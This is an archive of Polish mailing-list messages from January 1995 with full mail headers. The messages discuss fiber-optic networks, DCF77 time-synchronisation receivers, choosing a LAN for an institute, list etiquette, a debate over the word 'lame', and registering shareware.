: > To:             polip@vigo.iie.wsi.zgora.pl
: > Subject:        Re: Siec Optimusa?

: > > 
: > > A co do Optimusa, to mam wrazenie, ze firma ma za malo pieniedzy na
: > > inwestycje telekomunikacyjne. W tym kraju chyba nikt nie ma odpowiednich
: > > pieniedzy.
: > > 
: > > Jarek.
: > > 
: > Na swiecie duz'a, konkurecje dla telekomunikacji stanowi energetyka.
: > Podwieszaja swiatlowody pod liniami wysokiego napiecia i w swiat.
: > Chyba i nas to czeka. Pozdrawiam, J.P.
: > 
: A czy ktos wie, ktoredy zostaly pociagniete swiatlowody wraz liniami 
: wysokiego napiecia. Byloby ciekawe to wiedziec.

Przez Zielona Gore bedzie szedl, nie martw sie, ale zmienia sie siec polaczen,
nie pamietam jak jest w calej polsce, ale ZG bedzie polaczona z Jelenia Gora, 
a nie z Wroclawiem itp. Pisali o tym chyba, podkreslam chyba w NetForum.



				   \|||/
        WOJCIECH DOGANOWSKI        (o o)
       ___                 _____ooO_(_)_Ooo__ _ _     ___
      /   )  __   __   /    /   __ _   __    /| |    /   ) __   __        __
     /___/  /__) /  ) / _  / / /  ) ) /__)  /_| |   / __  /  ) /  ) /  / /  )
    /    ) /    /  / /    / / /  / / /     /  | |  /   / /    /  / /  / /__/
   /    / (___ (__(_(_   / (_/  / / (___  /   | | (___/ /    (__/ (__/ /
								      /
   Real-Time A.I. Group, Department of Electrical and Electronic Engineering
	      University of Wales Swansea SA2 8PP, United Kingdom
  eedogano@swansea.ac.uk, dogan@cookie.iie.wsi.zgora.pl, Tel: (+44 792) 465603

From markk1@ix.netcom.com Thu Jan 19 19:42:54 1995
Received: from ix2.ix.netcom.com by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15934; Thu, 19 Jan 95 19:39:55 +0100
Return-Path: <markk1@ix.netcom.com>
Received: from  by ix2.ix.netcom.com (8.6.9/SMI-4.1/Netcom)
	id KAA10717; Thu, 19 Jan 1995 10:40:22 -0800
Date: Thu, 19 Jan 1995 10:40:22 -0800
Message-Id: <199501191840.KAA10717@ix2.ix.netcom.com>
From: markk1@ix.netcom.com (Mark W. Kaliczynski)
Subject: Re: Siec Optimusa?
To: polip@zsku.p.lodz.pl

Lame to nie jest brzytkie slowo (jeszcze) w doslownym znaczeniu i tez 
nie jest brzytkim w znaczeniu uzywanym na Net: slaby, kiepski, 
beznadziejny, nieprzekonywujacy.

Nie mniej jednak jezyk i znaczenia wyrazow zmieniaja sie ciagle. 
Niedawno Hillary Clinton nazwana zostala bitch (doslownie suka), slowo 
ktore obrazuje znakomicie jak szybko uzycie jezyka sie zmienia. Dla 
wiekszosci starszych ludzi (szczegolnie 60, 70 letnich) jest to bardzo 
wulgarne okreslenie na kobiete.

Dla ludzi w wieku ponad 30 lat slowo to ma bardziej neutralne znaczenie 
a dla mlodych ludzi, ponizej 30 lat slowo to ma wrecz przeciwnie 
znaczenie, raczej przymilne i pieszczotliwe i jest szeroko uzywane teraz 
w odniesieniu sie pomiedzy mlodzymi osobami w trakcie potocznej rozmowy.

Mark

P.S. Terazniejsi studenci z Politechniki Lodzkiej, prosze e-mail do 
mnie.

-- 
Mark W. Kaliczynski
voice: +1-201-252-1797 ext. 255   fax: +1-201-252-1797 ext. 329
e-mail: markk1@ix.netcom.com
From news.polip@cyber.ict.pwr.wroc.pl Thu Jan 19 20:47:54 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17066; Thu, 19 Jan 95 20:43:08 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA01880 for polip@zsku.p.lodz.pl; Thu, 19 Jan 1995 20:29:10 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 19 Jan 1995 19:27:49 GMT
From: ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
Message-Id: <3fmefl$4jp@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <24A1F53446@sweet.iie.wsi.zgora.pl>
Reply-To: marekm@i17linuxa.ists.pwr.wroc.pl
Subject: Re: Ustawianie czasu-odbiornik DCF77

Grzegorz Mielcarek (GMIELCAR@sweet1.iie.wsi.zgora.pl) wrote:

: Gdzies kiedys czytalem, chyba w PCKurierze, ze polska firma skonstruowala 
: zegar do synchronizacji czasu w sieci Novell Netware 4.0 i sprzedaje to po 
: calym swiecie. Czy jest to ta sama firma? Nie wiem, ale "Polacy nie gesi 
: i swoj zegar maja".

Widzialem taka oferte.  Sam odbiornik (do RS232) z prostym programem
dla MS-DOG - 735tys., to samo + oprogramowanie do Novella - niestety
juz 10mln+VAT (ceny z zeszlego roku), brrr...

Czy ktos wie, czy xntpd potrafi skorzystac z sygnalu DCF77 podanego
na port szeregowy?  Gdyby tak bylo - Linux, xntpd, odbiornik DCF77...
i juz mamy niedrogi time server.

Przy okazji, ciekawe byloby gdyby jeszcze Novell mogl sobie ustawiac
czas przez siec z hosta unixowego.  Pozwoliloby to uniknac kupowania
drogiego (bo dla Novella) oprogramowania...

Pozdrawiam
--
Marek Michalkiewicz
marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl
From markk1@ix.netcom.com Thu Jan 19 21:27:54 1995
Received: from ix3.ix.netcom.com by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18023; Thu, 19 Jan 95 21:26:13 +0100
Return-Path: <markk1@ix.netcom.com>
Received: from  by ix3.ix.netcom.com (8.6.9/SMI-4.1/Netcom)
	id MAA08495; Thu, 19 Jan 1995 12:26:34 -0800
Date: Thu, 19 Jan 1995 12:26:34 -0800
Message-Id: <199501192026.MAA08495@ix3.ix.netcom.com>
From: markk1@ix.netcom.com (Mark W. Kaliczynski)
Subject: Re: Siec Optimusa?
To: polip@zsku.p.lodz.pl

Najwieksze przeszkody to przewaznie sa polityczne i prawne. W USA my 
mamy zupelny wolny rynek w dalekosieznych liniach telefonicznych. 
Wystarczy wycisnac pieciocyfrowy numer danej firmy telefonicznej przed 
numerem telefonu i mozna wybrac ktorakolwiek z kilkeset w tej chwili 
firm telefonicznych.

Nie ma jednak identycznego wolnego rynku w podstawowym servisie. Dla 
przykladu tu w New Jersey podstawowy lokalny - flat-rate service ktory 
kosztuje od okolo $5.50 -$7.95 miesiecznie pozwala na nieograniczona 
ilosc rozmow w okolicy kilkunastu do kilkudziesieciu miast (w zaleznosci 
od lokalizacji) moze byc nabyty tylko wylacznie od Bell Atlantic. W 
Nowym Jorku tylko od Nynex. Wieksze firmy omijaja lokalny service przez 
podlaczanie sie bezposrednio do firm dalekosieznych. Dla malych firm i 
dla domowych potrzeb to jest nieoplacalne. Kiedy jednak dojdzie do 
zupelnego wolnego rynku w telekomunikacji to podstawowy service powinien 
byc oferowany przez co najmniej tyle samo lokalnych firm co teraz 
dalekosieznych (long distance) i tez zamiast tylko czesci stanu z 
nieograniczona iloscia uzywania to rozne firmy moglyby oferowac caly 
stan, kilka stanow, lub cale USA wlaczone w podstawowej cenie.

Co do konkurencji z firmami tradycyjnie telefonicznymi do tej pory, to 
najlepiej usytuowane sa firmy televizji kablowej ktore w tej chwili sa 
podlaczone do wiekszosci domow, lecz nie moga oferowac telefonicznych 
uslug z uwagi na terazniejsze prawa. Firmy energetyczne nie maja 
podlaczonych swiatlowodow do poszczegolnych domow, lecz wszystkie 
posiadaja swiatlowody razem z liniami wysokiego napiecia.

U nas oczekuje sie wkrotce liberalizacji rynku w tych dziedzinach wiec 
firmy kablowe beda mialy znaczna przewage w lokalnym rynku nad 
tradycyjnymi telefonicznymi firamami dowrtarczajacymi servis lokalny a 
firmy energetyczne beda w stanie konkurowac z terazniejszymi 
dlugo-dystansowymi firmami nie tylko na skraju USA ale calego 
kontynentu.
   Mark

P.S. Anybody who is a student at Politechnika Lodzka please e-mail me.

-- 
Mark W. Kaliczynski
voice: +1-201-252-1797 ext. 255   fax: +1-201-252-1797 ext. 329
e-mail: markk1@ix.netcom.com
From dyrdal@gate.maloka.waw.pl Thu Jan 19 21:57:55 1995
Received: from gate.maloka.waw.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18806; Thu, 19 Jan 95 21:57:05 +0100
Return-Path: <dyrdal@gate.maloka.waw.pl>
Date: Thu, 19 Jan 1995 22:47:06 +0000
From: Krzysiek Dyrdal <dyrdal@maloka.waw.pl>
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom
To: polip@zsku.p.lodz.pl
In-Reply-To: <9501182144.aa21441@wega.ics.tup.edu.pl>
Message-Id: <Pine.3.89.9501192218.B13170-0100000@gate.maloka.waw.pl>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Wlasnie dzis tamtedy przechodzilem i zastanawialem sie skad ja znam ta 
nazwe (eunet) ale potwierdzam - zjawisko wystepuje - 
przedostatnie drzwi po prawej stronie przed Solidex'em (albo ostatnie ;-)
Krzysiek

On Wed, 18 Jan 1995, Tomasz Kokowski wrote:

>   Mnie sie poszczescilo. Mam nawet mapke polaczen EuNet. Biuro jest tuz 
> obok kwatery Solidex-u w Warszawie (XVI pietro w Mariocie). 
> 
> Tomasz Kokowski
> 
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 08:05:08 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA02307; Fri, 20 Jan 95 08:02:58 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id HAA11254 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 07:49:18 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 06:47:30 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3fnma2$qfg@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <24A1F53446@sweet.iie.wsi.zgora.pl>, <3fmefl$4jp@sun1000.ci.pwr.wroc.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77

Marek Michalkiewicz (ind43@sun1000.ci.pwr.wroc.pl) pisal:
> Przy okazji, ciekawe byloby gdyby jeszcze Novell mogl sobie ustawiac
> czas przez siec z hosta unixowego.  Pozwoliloby to uniknac kupowania
> drogiego (bo dla Novella) oprogramowania...
  ---
  Moze, ale o tym trzeba dyskutowac z fachofcami od Novella...
  Wojtek
From kokowski@CS.PUT.Poznan.PL Fri Jan 20 08:46:52 1995
Received: from syriusz.cs.put.poznan.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03228; Fri, 20 Jan 95 08:42:45 +0100
Return-Path: <kokowski@CS.PUT.Poznan.PL>
Received: from wega.ics.tup.edu.pl (wega.cs.put.poznan.pl) by syriusz.cs.put.poznan.pl (4.1/SMI-4.1)
	id AA11898; Fri, 20 Jan 95 08:44:56 +0100
Subject: Re: IdS: Czy "Internet dla Szkol" wymaga zezwolenia telekom
To: polip@zsku.p.lodz.pl
Date: Fri, 20 Jan 1995 08:31:08 +0100 (CEU)
From: Tomasz Kokowski <kokowski@CS.PUT.Poznan.PL>
In-Reply-To: <3fm0kc$l5q@galaxy.uci.agh.edu.pl> from "Szymon Sokol" at Jan 19, 95 05:10:21 pm
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Length: 226       
Message-Id:  <9501200831.aa10919@wega.ics.tup.edu.pl>

> 
> Taak... Biuro jest, ale to chyba wszystko. Te polaczenia to istniejace czy
> planowane?

  Jak znajde chwile czasu to zeskanuje te mapke i przesle poczta. *to jest
mapka istniejacych polaczen w Europie*.

Tomasz Kokowski
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 08:46:55 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA03238; Fri, 20 Jan 95 08:42:57 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id IAA11890 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 08:31:54 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 07:28:57 GMT
From: Jacek Piskozub <piskozub@iopan.gda.pl>
Message-Id: <3fnonp$71l@sunrise.pg.gda.pl>
Organization: Politechnika Gdanska
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Re: Brzydkie slowa [niestety jeszcze raz]

Zlamie dane slowo i wypowiem sie w tym temacie po raz trzeci.

Co to znaczy brzydkie slowo?

Jesli ktos za brzydkie slowo uwaza tylko ch**, d***, p********, k****
itd [cenzura wlasna - JP] to rzeczywiscie rzeczone slowo l*** nie
jest wulgaryzmem.

Istnieje jednak inna, malo w Polsce zauwazana, grupa wulgaryzmow.
Sa to slowa (nazwy, epitety) majace jakas grupe ponizyc, osmieszyca
i w inny sposob zochydzic. Do takich nalezy Polack w USA, Guglaj
u nas (i setki innych przykladow). Amerykanskie slowniki slow
wulgarnych (sa takie) zamieszczaja takie slowa na rowni z tymi
pierwszymi (u mnie zagwiazdkowanymi).

I takim slowem jest na pewno l*** (nie znize sie do napisania go
w calosci). Slowo to oznacza mniej wiecej: "Stajacy na tak niskim
etapie rozwoju [zazwyczaj w dziedzinach komputerowych], ze po prostu
rece zalamac". A zatem stoi na rowni z takimi slowami jak kretyn,
imbecyl (lub odpowiednimi przymiotnikami). Nazwanie kogos kretynem 
bylo by tu z pewnoscia ostro zganione. Nie tolerujmy zatem podobnych
slow, tylko dlatego, ze ich autor ukrywa sie za bariera hermetycznosci
[tzn. rozumieja to tylko wtajemniczeni, jak go obrazilem] a w dodatku
odmawia na liscie powiedzenia co co slowo wlasciwie znaczy, oskarzajac
przy tym tych, ktorzy tego nie wiedza o... No wlasnie znow o 
l***rstwo! Czyli, przetlumaczmy "debilizm w dziedzinie >jargon file<"
[whatever that means :-)].

 
Fuj...

Uwaga: jesli jakis slow powyzej NIE zagwiazdkowalem, to tylko po
to aby wywod byl zrozumialy. Jakichs porownan miedzy slowami nie 
dalo sie uniknac. 

Pozdrowienia dla wszystkich, kiedykolwiek nazwanych l****ami!!!

Wasz trzykrotnie nazwany l****em

Jacek Piskozub
piskozub@iopan.gda.pl
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 09:46:52 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA04872; Fri, 20 Jan 95 09:42:55 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id JAA12810 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 09:29:07 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 08:23:06 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3fnrta$f6@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <24A1F53446@sweet.iie.wsi.zgora.pl>, <3fmefl$4jp@sun1000.ci.pwr.wroc.pl>, <3fnma2$qfg@sun1000.ci.pwr.wroc.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77

Pred chwila pisalem:
>   Moze, ale o tym trzeba dyskutowac z fachofcami od Novella...
                           to mieli byc fachowcy, a nie jakies 
			   uszczypliwosci pod adresem administratorow 
			   Novella...

			   Przepraszam, jezeli ktos poczul sie dotkniety

			   W
From GMIELCAR@sweet.iie.wsi.zgora.pl Fri Jan 20 12:26:53 1995
Received: from vigo.iie.wsi.zgora.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07215; Fri, 20 Jan 95 12:24:07 +0100
Return-Path: <GMIELCAR@sweet.iie.wsi.zgora.pl>
Received: from candy1.iie.wsi.zgora.pl by vigo.iie.wsi.zgora.pl (AIX 3.2/UCB 5.64/4.03)
          id AA15725; Fri, 20 Jan 1995 12:24:34 +0100
Received: from CANDY/SpoolDir by candy.iie.wsi.zgora.pl (Mercury 1.20);
    20 Jan 95 12:22:45 +0100
Received: from SpoolDir by CANDY (Mercury 1.20); 20 Jan 95 12:22:28 +0100
Received: from sweet.iie.wsi.zgora.pl by candy.iie.wsi.zgora.pl (Mercury 1.20) with ESMTP;
    20 Jan 95 12:22:20 +0100
Received: from SWEET/SpoolDir by sweet.iie.wsi.zgora.pl (Mercury 1.20);
    20 Jan 95 12:16:20 +0100
Received: from SpoolDir by SWEET (Mercury 1.20); 20 Jan 95 12:16:16 +0100
From: "Grzegorz Mielcarek" <GMIELCAR@sweet.iie.wsi.zgora.pl>
Organization:  Instytut Informatyki i Elektroniki
To: polip@zsku.p.lodz.pl
Date:          Fri, 20 Jan 1995 12:16:09 GMT+01
Subject:       Re: Ustawianie czasu-odbiornik DCF77
X-Confirm-Reading-To: "Grzegorz Mielcarek" <GMIELCAR@sweet.iie.wsi.zgora.pl>
X-Pmrqc:       1
Priority: normal
X-Mailer: Pegasus Mail v3.22
Message-Id: <4AC6AC7CF9@sweet.iie.wsi.zgora.pl>

> From:           ind43@sun1000.ci.pwr.wroc.pl (Marek Michalkiewicz)
> 
> Widzialem taka oferte.  Sam odbiornik (do RS232) z prostym programem
> dla MS-DOG - 735tys., to samo + oprogramowanie do Novella - niestety
> juz 10mln+VAT (ceny z zeszlego roku), brrr...
> 
> Czy ktos wie, czy xntpd potrafi skorzystac z sygnalu DCF77 podanego
> na port szeregowy?  Gdyby tak bylo - Linux, xntpd, odbiornik DCF77...
> i juz mamy niedrogi time server.
> 
> Przy okazji, ciekawe byloby gdyby jeszcze Novell mogl sobie ustawiac
> czas przez siec z hosta unixowego.  Pozwoliloby to uniknac kupowania
> drogiego (bo dla Novella) oprogramowania...
> 
> Pozdrawiam
> --
> Marek Michalkiewicz
> marekm@i17linuxa.ists.pwr.wroc.pl || ind43@ci3ux.ci.pwr.wroc.pl
> 
Wedlug mnie, jezeli wpadl Ci do glowy taki pomysl, to na pewno juz go ktos 
opatentowal. Takie jest zycie. Wymyslamy rzeczy, ktore juz ktos zrobil. 
Ale czasami moze nam sie udac.

Powrot do zegara DCF77: moze ktos znajdzie i wrzuci jakies schematy i 
opisy takiego zegarka??? Ja niestety nie jestem elektronikiem i nie czytam 
fachowej prasy z tej dziedziny, ale chetnie czemus takiemu bym sie 
przyjrzal.

-Grzesiek
From LBIENK@Vela.filg.uj.edu.pl Fri Jan 20 13:46:54 1995
Received: from nms.cyf-kr.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA08547; Fri, 20 Jan 95 13:44:49 +0100
Return-Path: <LBIENK@Vela.filg.uj.edu.pl>
Received: from lfs.cyf-kr.edu.pl (lfs.cyf-kr.edu.pl [149.156.2.7]) by nms.cyf-kr.edu.pl (8.6.9/8.6.9) with SMTP id NAA19998 for <polip@zsku.p.lodz.pl>; Fri, 20 Jan 1995 13:42:32 +0100
Received: from Vela.filg.uj.edu.pl by lfs.cyf-kr.edu.pl (4.1/SMI-4.1)
	id AA18019; Fri, 20 Jan 95 13:41:46 +0100
Received: from VELA/MAILQUEUE by Vela.filg.uj.edu.pl (Mercury 1.20);
    20 Jan 95 13:47:12 GMT+2
Received: from MAILQUEUE by VELA (Mercury 1.20); 20 Jan 95 13:47:11 GMT+2
From: "Lukasz Bienkowski" <LBIENK@Vela.filg.uj.edu.pl>
Organization:  Collegium Paderevianum, Jagell.Univ
To: polip@zsku.p.lodz.pl
Date:          Fri, 20 Jan 1995 13:47:06 GMT+1
Subject:       Re: Palac Staszica - jaka siec lokalna wybrac?
Priority: normal
X-Mailer: Pegasus Mail v3.22
Message-Id: <194ECA1E24@Vela.filg.uj.edu.pl>


> Dyrekcja mojego Instytutu zamierza zalozyc siec lokalna w Palacu Staszica
> (to jest to, co widac na starych 50.000 zl). Siec ma sluzyc
> Instytutowi Filozofii i Socjologii, ale byc moze takze Instytutowi
> Badan Literackich i innym. Lacznie moze to byc ok 100 komputerow
> (wszystko klony IBMa, 286, 386, pare 486 z DOSem, kilka z Windowsami.
> Przy tym byc moze IBL udostepni swojego SUNa sparcstation 5. Do tego
> caly Palac dostal centrale ISDN (na razie ISDN bedzie tylko wewnatrz
> po skretce telefonicznej z lat 50-tych). Do Palacu dociagnieto
> juz swiatlowod z Uniwersytetu, ktory ma umozliwic dostep do Internetu
> po zainstalowaniu bridge'a.

    Cos jak bylo u nas: duzy budynek (10 pieter), dwa malutkie obok, 
kilkadziesiat PCetow, swiatlowod w piwnicy i... cale mnostwo ludzi, 
ktorzy na widok komputera dostaja drgawek :-)

> Pytanie jest takie: jaka siec bylaby najodpowiedniejsza w tych warunkach?
> Dodam, ze cala zaloga jest czysto humanistyczna, na widok komputera
> czesc dostaje drgawek, wiec chodzi o rozwiazania przyjazne uzytkownikom.

Decyzja jaka podjeto "na gorze" byla - Novell. Z perspektywy blisko
roku trzeba przyznac, ze spisuje sie calkiem niezle, a co
najwazniejsze (moim zdaniem) jest calkiem "przezroczysty" dla
uzytkownika - dostaje on na swoim komputerze tylko kilka nowych
"literek" (F:, G:, itd), a moze wysylac poczte, korzystac z innych
uslug, drukarek, itd. Plusem w polskich warunkach jest duza ilosc
calkiem niezlego (a co najwazniejsze darmowego) oprogramowania do
obslugi Internetu (ale o tym juz ktos pisal przede mna). Trzeba
wziac pod uwage, ze jesli juz ktos pokona drgawki i pracuje na
komputerze (uczelnianym lub wlasnym) to przewaznie jest po PC, dzis
najczesciej z Windows i chce z tego korzystac dalej w sieci.
Korzystanie z "obcych" drukarek jest rowniez raczej bezproblemowe.

> Czy mozna wykorzystac ISDN na potrzeby sieci?
> Sadze, ze bedzie duze zapotrzebowanie na poczte Internetowa, mniejsze
> na telnet i ftp. Bardzo odradzano mi Novella jako trudnego
> do pogodzenia z jakimkolwiek oprogramowaniem.

W praktyce z Windows mozna go pogodzic w sposob, ktory nie sposob
nazwac trudnym. Niestety nie znam innych proponowanych tu wczesniej
rozwiazan na tyle dobrze, aby jednoznacznie stwierdzic, ze Novell
jest najlepszym wyjsciem. Jednak nie moge zgodzic sie z
twierdzeniem, ze jest to rozwiazanie zle. U nas spisuje sie
doskonale...

> Bede wdzieczny za wszelkie rady.
> 
>                                                Piotr Wiench
> II*****************************************II*************************II
> II  Piotr  Wiench                          II  Internet:              II
> II  Zaklad Teorii Kultury                  II  wiench@plearn.edu.pl   II
> II  Instytut  Filozofii i  Socjologii  PAN II  Voice:+(48)(22)265231  II
> II  Ul. Nowy Swiat 72,  PL-00-330 Warszawa II                   x 74  II
> II                                         II  Fax:  +(48)(22)267181  II
> II*****************************************II*************************II
> 
====================================================================
           Lukasz Bienkowski - lbienk@vela.filg.uj.edu.pl
          Uniwersytet Jagiellonski -  Wydzial Filologiczny
Collegium Paderevianum, 31-120 Krakow, al. Mickiewicza 9/11,  p. 908
====================================================================
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 14:46:55 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA09725; Fri, 20 Jan 95 14:42:53 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA18223 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 14:27:39 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: Fri, 20 Jan 1995 13:24:26 GMT
From: michalj@fuw.edu.pl (Michal Jankowski)
Message-Id: <MICHALJ.95Jan20142427@ccmj.fuw.edu.pl>
Organization: Department of Physics, Warsaw University
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Ludzie!!!!...

ja bardzo prosze, miejscie litosc dla tych, ktorzy was czytaja. 

Coraz czesciej dostaje z polipa listy, w ktorych ___wiekszosc___
stanowia cytaty z przedmowcy i podpisy, oraz, co gorsza, cytaty
podpisow. 

Ja rozumiem, ze niektorzy ludzie lubia dlugie podpisy. Ich prawo. Ale,
czy cytujac list Pana A, z podpisem na 10 linii, Pan B, przed
dopisaniem swojego podpisu na 8 linii, nie moglby podpisu Pana A
wykasowac? 

Jesli ktos odpowiada na list o dlugosci kilku stron jedna linijka, to
niechze tych kilku stron nie cytuje in exenso, prosze...

Nie wiem, jak inni, ale ja dosc czesto czytuje poczte z domu - przez
modem. Poprobujcie czytac polipa na 2400 bps, to sie nie bedziecie
dziwic, ze narzekam.

   MJ
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 16:05:10 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA11882; Fri, 20 Jan 95 16:02:54 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id PAA20246 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 15:59:14 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 14:59:03 GMT
From: myszka@immt.pwr.wroc.pl (Wojciech Myszka)
Message-Id: <3foj3n$idq@sun1000.ci.pwr.wroc.pl>
Organization: Institute of Material Science and Technical Mechanics, Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <MICHALJ.95Jan20142427@ccmj.fuw.edu.pl>
Subject: Re: Ludzie!!!!...

Michal Jankowski (michalj@fuw.edu.pl) pisal:
> Nie wiem, jak inni, ale ja dosc czesto czytuje poczte z domu - przez
> modem. Poprobujcie czytac polipa na 2400 bps, to sie nie bedziecie
> dziwic, ze narzekam.
  ---
  i tak niezle, ja mam tylko 1200 :-)
  W
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 16:26:55 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA12842; Fri, 20 Jan 95 16:22:51 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA20445 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 16:10:50 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 14:44:29 GMT
From: dziuma@zeus.polsl.gliwice.pl (Justyna Dziuma)
Message-Id: <3foi8d$jo0@hades.polsl.gliwice.pl>
Organization: Politechnika Slaska w Gliwicach	
Sender: news.polip@cyber.ict.pwr.wroc.pl
Subject: Jak zarejestrowac oprogramowanie sciagniete z sieci?

Drodzy!
Sciagnelismy z sieci nowego xv3.11 i chcielibysmy go zarejestrowac, zeby autor
mial co jesc i my zebysmy legalni byli.
No i nie wiadomo, jak to zrobic, zeby Uczelnia zechciala dac pieniadze.
Uczelnia powinna miec fakture czy cos takiego, no a skad ja wezme fakture?
Pomozcie byc uczciwym obywatelem.

J.
__
Justyna Dziuma, <dziuma@zeus.polsl.gliwice.pl>, Office: (+4832)37-21-12
Computer Center of the Silesian Technical University, Gliwice, Poland
From muhlig@usctoux1.cto.us.edu.pl Fri Jan 20 16:46:57 1995
Received: from usctoux1.cto.us.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA13580; Fri, 20 Jan 95 16:42:34 +0100
Return-Path: <muhlig@usctoux1.cto.us.edu.pl>
Subject: Re: Jak zarejestrowac oprogramowanie sciagniete z sieci?
To: polip@zsku.p.lodz.pl
Date: Fri, 20 Jan 1995 16:45:54 -0100 (MET)
From: Maciek Uhlig <muhlig@usctoux1.cto.us.edu.pl>
In-Reply-To: <3foi8d$jo0@hades.polsl.gliwice.pl> from "Justyna Dziuma" at Jan 20, 95 04:31:49 pm
X-Mailer: ELM [version 2.4 PL23~]
Content-Type: text
Content-Length: 967       
Message-Id:  <9501201645.aa01434@usctoux1.cto.us.edu.pl>

Justyna Dziuma wrote:

> Sciagnelismy z sieci nowego xv3.11 i chcielibysmy go zarejestrowac, zeby autor
> mial co jesc i my zebysmy legalni byli.
> No i nie wiadomo, jak to zrobic, zeby Uczelnia zechciala dac pieniadze.
> Uczelnia powinna miec fakture czy cos takiego, no a skad ja wezme fakture?
> Pomozcie byc uczciwym obywatelem.

A odprawa celna? A podatek graniczny? :-))))))))))))

No wlasnie, jak to zrobic? Tez bym chcial byc legalny.

Proponuje, aby ten, ktory juz przetarl te sciezke, sie odezwal.
Zobaczymy, kto tu jest u nas nielegalny :-)

Maciek Uhlig

----------------------------------------------------------------------
Maciej UHLIG, Computer Center, Silesian University
                          Uniwersytecka 4 St., 40-007 KATOWICE, POLAND
